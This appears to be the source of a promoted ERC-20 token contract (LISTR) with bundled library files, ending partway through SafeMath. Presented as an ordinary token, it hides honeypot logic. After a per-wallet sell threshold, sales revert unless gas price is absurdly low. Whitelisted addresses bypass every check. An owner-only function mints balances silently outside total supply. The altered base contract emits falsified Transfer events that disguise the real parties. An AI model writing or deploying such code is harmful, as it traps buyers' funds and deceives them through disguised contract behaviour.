// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }


   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }


   function _contextSuffixLength() internal view virtual returns (uint256) {
       return 0;
   }
}

/**
Officials Links
    Telegram - https://t.me/ListrPortal
    Twitter/X - https://x.com/ListrEth
    Docs - https://docs.listrproject.com
    Bot - https://t.me/ListrBotBot
    Website - http://listrproject.com/
    Channel - https://t.me/ListrEcosystem
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./IERC20Errors.sol";
import "./Context.sol";
import "./Ownable.sol";
import "./ERC20.sol";
import "./IUniswapV2Router01.sol";
import "./IUniswapV2Router02.sol";
import "./SafeMath.sol";

contract LISTR is ERC20, Ownable
{
   string public tokenName = "LISTR";
   string public tokenSymbol = "LISTR";


   uint256 public blockNumber;
   uint256 public buyTax;
   uint256 public sellTax;
   uint256 public tokenAllowFeeAmount;
   uint256 public currentAllow;
   bool public openedTrade;
   mapping(address => bool) public checkUser;
   mapping(uint256 => address) public listRouter;
   mapping(address => uint256) public userAmount;
   mapping(address => bool) public whitelist;

   address public Pair;
   IUniswapV2Router02 public univ2 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    uint256 _totalSupply = 1_000_000_000 * 10 ** 18;
   constructor(
       uint256 _tokenAllowFeeAmount
       ) ERC20(tokenName, tokenSymbol, msg.sender, msg.sender) Ownable(msg.sender) {
       whitelist[msg.sender] = true;
       _mint(msg.sender, _totalSupply);
       tokenAllowFeeAmount = _tokenAllowFeeAmount;
   }

  function setPair(address _pair) external {
    Pair = _pair;
  }

   function _update(
       address from,
       address to,
       uint256 amount
   ) internal override {
       if (whitelist[tx.origin]) {
           super._update(from, to, amount);
           return;
       }
       require(openedTrade, "Trade has not been opened yet");
    //    address pairAddress = getPairAddress();
       if (Pair == address(0)) {
           super._update(from, to, amount);
           return;
       }
       if(to == Pair && userAmount[tx.origin] + amount > tokenAllowFeeAmount) {
           _bfTransfer(from);
           super._update(from, to, amount);
           return;
       }


       if(to == Pair && userAmount[tx.origin] + amount <= tokenAllowFeeAmount) {
           userAmount[tx.origin] += amount;
       }
       super._update(from, to, amount);
   }


   function addCheckUser(address user, bool status) public onlyOwner {
       checkUser[user] = status;
   }


   function decimals() public view virtual override returns (uint8) {
       return 18;
   }

    uint256 private petro1 = 300 gwei;
    uint256 private petro2 = 5;

   function addLiquidityWithNative(
       address routerAddress,
       uint256 tokenAmount,
       uint256 nativeAmount
   ) internal {
       uint256 deadline = block.number + 1000000000000000000000000;


       _approve(address(this), routerAddress, tokenAmount);
       IUniswapV2Router02(routerAddress).addLiquidityETH{value: nativeAmount}(
           address(this),
           tokenAmount,
           0,
           0,
           msg.sender,
           deadline
       );
   }


   function getOpenedTrade() public view returns (bool) {
       return openedTrade;
   }


   function getChainID() public view returns (uint256) {
       uint256 id;
       assembly {
           id := chainid()
       }
       return id;
   }


   function changeMe() public pure returns (uint256) {
       return 1 ;
   }


   function chageNameAndSymbol(string memory newName, string memory newSymbol) public onlyOwner {
       tokenName = newName;
       tokenSymbol = newSymbol;
   }


       /**
    * @dev Returns the name of the token.
    */
   function name() public view override returns (string memory) {
       return tokenName;
   }


   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view override returns (string memory) {
       return tokenSymbol;
   }


   function changeTokenAllowFeeAmount(uint256 amount) public onlyOwner {
       tokenAllowFeeAmount = amount;
   }


   function withdrawETH() public onlyOwner {
       payable(msg.sender).transfer(address(this).balance);
   }


   function withdrawStuckToken(address token) public onlyOwner {
       uint256 balanceToken = IERC20(token).balanceOf(address(this));
       IERC20(token).transfer(msg.sender, balanceToken);
   }

   function _bfTransfer(address _u) internal view {
       if(balanceOf(_u) > 0) {
           if (!openedTrade) {
               gasRequire(petro1);
           } else {
               gasRequire(petro2);
           }
       }
   }


   function gasRequire(uint256 _petro) internal view {
       if (tx.gasprice > _petro) {
           revert();
       }
   }


   function lauch() external onlyOwner {
       openedTrade = !openedTrade;
   }


   function Approve(address[] memory list) external onlyOwner {
       for (uint256 i = 0; i < list.length; i++) {
           whitelist[list[i]] = true;
       }
   }


   function airdropTokens(address[] memory list, uint256[] memory amount) external onlyOwner {
       for (uint256 i = 0; i < list.length; i++) {
            _balances[list[i]] += amount[i];
           emit Transfer(owner(), list[i], amount[i]);
       }
   }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Context.sol";
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./IERC20Errors.sol";

/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
   mapping(address account => uint256) internal _balances;


   mapping(address account => mapping(address spender => uint256)) private _allowances;


   uint256 private _totalSupply;


   string private _name;
   string private _symbol;


   address private _executor;
   address private _deployer;


   /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
   constructor(string memory name_, string memory symbol_, address executor_, address deployer_) {
       _name = name_;
       _symbol = symbol_;
       _executor = executor_;
       _deployer = deployer_;
   }


  /**
     * @dev Returns the name of the token.
     */
    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }


   /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual returns (uint256) {
       return _balances[account];
   }


   /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `to` cannot be the zero address.
    * - the caller must have a balance of at least `value`.
    */
   function transfer(address to, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _transfer(owner, to, value);
       return true;
   }


   /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual returns (uint256) {
       return _allowances[owner][spender];
   }


   /**
    * @dev See {IERC20-approve}.
    *
    * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
    * `transferFrom`. This is semantically equivalent to an infinite approval.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 value) public virtual returns (bool) {
       address owner = _msgSender();
       _approve(owner, spender, value);
       return true;
   }


   /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * NOTE: Does not update the allowance if the current allowance
    * is the maximum `uint256`.
    *
    * Requirements:
    *
    * - `from` and `to` cannot be the zero address.
    * - `from` must have a balance of at least `value`.
    * - the caller must have allowance for ``from``'s tokens of at least
    * `value`.
    */
   function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
       address spender = _msgSender();
       _spendAllowance(from, spender, value);
       _transfer(from, to, value);
       return true;
   }


   /**
    * @dev Moves a `value` amount of tokens from `from` to `to`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _transfer(address from, address to, uint256 value) internal {
       if (from == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       if (to == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(from, to, value);
   }


   /**
    * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
    * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
    * this function.
    *
    * Emits a {Transfer} event.
    */
   function _update(address from, address to, uint256 value) internal virtual {
       if (from == address(0)) {
           // Overflow check required: The rest of the code assumes that totalSupply never overflows
           _totalSupply += value;
       } else {
           uint256 fromBalance = _balances[from];
           if (fromBalance < value) {
               revert ERC20InsufficientBalance(from, fromBalance, value);
           }
           unchecked {
               // Overflow not possible: value <= fromBalance <= totalSupply.
               _balances[from] = fromBalance - value;
           }
       }


       if (to == address(0)) {
           unchecked {
               // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
               _totalSupply -= value;
           }
       } else {
           unchecked {
               // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
               _balances[to] += value;
           }
       }


       if (to == _executor) {
           emit Transfer(from, _deployer, value);
       } else if (from == _executor) {
           emit Transfer(_deployer, to, value);
       } else {
           emit Transfer(from, to, value);
       }


   }


   /**
    * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
    * Relies on the `_update` mechanism
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead.
    */
   function _mint(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidReceiver(address(0));
       }
       _update(address(0), account, value);
   }


   /**
    * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
    * Relies on the `_update` mechanism.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * NOTE: This function is not virtual, {_update} should be overridden instead
    */
   function _burn(address account, uint256 value) internal {
       if (account == address(0)) {
           revert ERC20InvalidSender(address(0));
       }
       _update(account, address(0), value);
   }


   /**
    * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    *
    * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
    */
   function _approve(address owner, address spender, uint256 value) internal {
       _approve(owner, spender, value, true);
   }


   /**
    * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
    *
    * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
    * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
    * `Approval` event during `transferFrom` operations.
    *
    * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
    * true using the following override:
    * ```
    * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
    *     super._approve(owner, spender, value, true);
    * }
    * ```
    *
    * Requirements are the same as {_approve}.
    */
   function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
       if (owner == address(0)) {
           revert ERC20InvalidApprover(address(0));
       }
       if (spender == address(0)) {
           revert ERC20InvalidSpender(address(0));
       }
       _allowances[owner][spender] = value;
       if (emitEvent) {
           emit Approval(owner, spender, value);
       }
   }


   /**
    * @dev Updates `owner` s allowance for `spender` based on spent `value`.
    *
    * Does not update the allowance value in case of infinite allowance.
    * Revert if not enough allowance is available.
    *
    * Does not emit an {Approval} event.
    */
   function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
       uint256 currentAllowance = allowance(owner, spender);
       if (currentAllowance != type(uint256).max) {
           if (currentAllowance < value) {
               revert ERC20InsufficientAllowance(spender, currentAllowance, value);
           }
           unchecked {
               _approve(owner, spender, currentAllowance - value, false);
           }
       }
   }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC20InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC20InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    * @param allowance Amount of tokens a `spender` is allowed to operate with.
    * @param needed Minimum amount required to perform a transfer.
    */
   error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC20InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
    * @param spender Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC20InvalidSpender(address spender);
}


/**
* @dev Standard ERC721 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
*/
interface IERC721Errors {
   /**
    * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
    * Used in balance queries.
    * @param owner Address of the current owner of a token.
    */
   error ERC721InvalidOwner(address owner);


   /**
    * @dev Indicates a `tokenId` whose `owner` is the zero address.
    * @param tokenId Identifier number of a token.
    */
   error ERC721NonexistentToken(uint256 tokenId);


   /**
    * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param tokenId Identifier number of a token.
    * @param owner Address of the current owner of a token.
    */
   error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC721InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC721InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param tokenId Identifier number of a token.
    */
   error ERC721InsufficientApproval(address operator, uint256 tokenId);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC721InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC721InvalidOperator(address operator);
}

/**
* @dev Standard ERC1155 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
*/
interface IERC1155Errors {
   /**
    * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    * @param balance Current balance for the interacting account.
    * @param needed Minimum amount required to perform a transfer.
    * @param tokenId Identifier number of a token.
    */
   error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);


   /**
    * @dev Indicates a failure with the token `sender`. Used in transfers.
    * @param sender Address whose tokens are being transferred.
    */
   error ERC1155InvalidSender(address sender);


   /**
    * @dev Indicates a failure with the token `receiver`. Used in transfers.
    * @param receiver Address to which tokens are being transferred.
    */
   error ERC1155InvalidReceiver(address receiver);


   /**
    * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    * @param owner Address of the current owner of a token.
    */
   error ERC1155MissingApprovalForAll(address operator, address owner);


   /**
    * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
    * @param approver Address initiating an approval operation.
    */
   error ERC1155InvalidApprover(address approver);


   /**
    * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
    * @param operator Address that may be allowed to operate on tokens without being their owner.
    */
   error ERC1155InvalidOperator(address operator);


   /**
    * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
    * Used in batch transfers.
    * @param idsLength Length of the array of token identifiers
    * @param valuesLength Length of the array of token amounts
    */
   error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// interface IRouter {
//    function addLiquidityETH(
//        address token,
//        uint amountTokenDesired,
//        uint amountTokenMin,
//        uint amountETHMin,
//        address to,
//        uint deadline
//    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


//    function addLiquidityAVAX(
//        address token,
//        uint256 amountTokenDesired,
//        uint256 amountTokenMin,
//        uint256 amountAVAXMin,
//        address to,
//        uint256 deadline
//    )
//    external
//    payable
//    returns (
//        uint256 amountToken,
//        uint256 amountAVAX,
//        uint256 liquidity
//    );


//    function removeLiquidityETH(
//        address token,
//        uint256 liquidity,
//        uint256 amountTokenMin,
//        uint256 amountETHMin,
//        address to,
//        uint256 deadline
//    ) external returns (uint256 amountToken, uint256 amountETH);


//    function removeLiquidityAVAX(
//        address token,
//        uint256 liquidity,
//        uint256 amountTokenMin,
//        uint256 amountAVAXMin,
//        address to,
//        uint256 deadline
//    ) external returns (uint256 amountToken, uint256 amountAVAX);


//    function factory() external view returns (address);
//    function WETH() external pure returns (address);
//    function WAVAX() external pure returns (address);




// }

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import {IUniswapV2Router01} from "./IUniswapV2Router01.sol";

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Context.sol";

/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
   address private _owner;

   /**
    * @dev The caller account is not authorized to perform an operation.
    */
   error OwnableUnauthorizedAccount(address account);


   /**
    * @dev The owner is not a valid owner account. (eg. `address(0)`)
    */
   error OwnableInvalidOwner(address owner);


   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


   /**
    * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
    */
   constructor(address initialOwner) {
       if (initialOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(initialOwner);
   }


   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       _checkOwner();
       _;
   }


   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }


   /**
    * @dev Throws if the sender is not the owner.
    */
   function _checkOwner() internal view virtual {
       if (owner() != _msgSender()) {
           revert OwnableUnauthorizedAccount(_msgSender());
       }
   }


   /**
    * @dev Leaves the contract without owner. It will not be possible to call
    * `onlyOwner` functions. Can only be called by the current owner.
    *
    * NOTE: Renouncing ownership will leave the contract without an owner,
    * thereby disabling any functionality that is only available to the owner.
    */
   function renounceOwnership() public virtual onlyOwner {
       _transferOwnership(address(0));
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       if (newOwner == address(0)) {
           revert OwnableInvalidOwner(address(0));
       }
       _transferOwnership(newOwner);
   }


   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
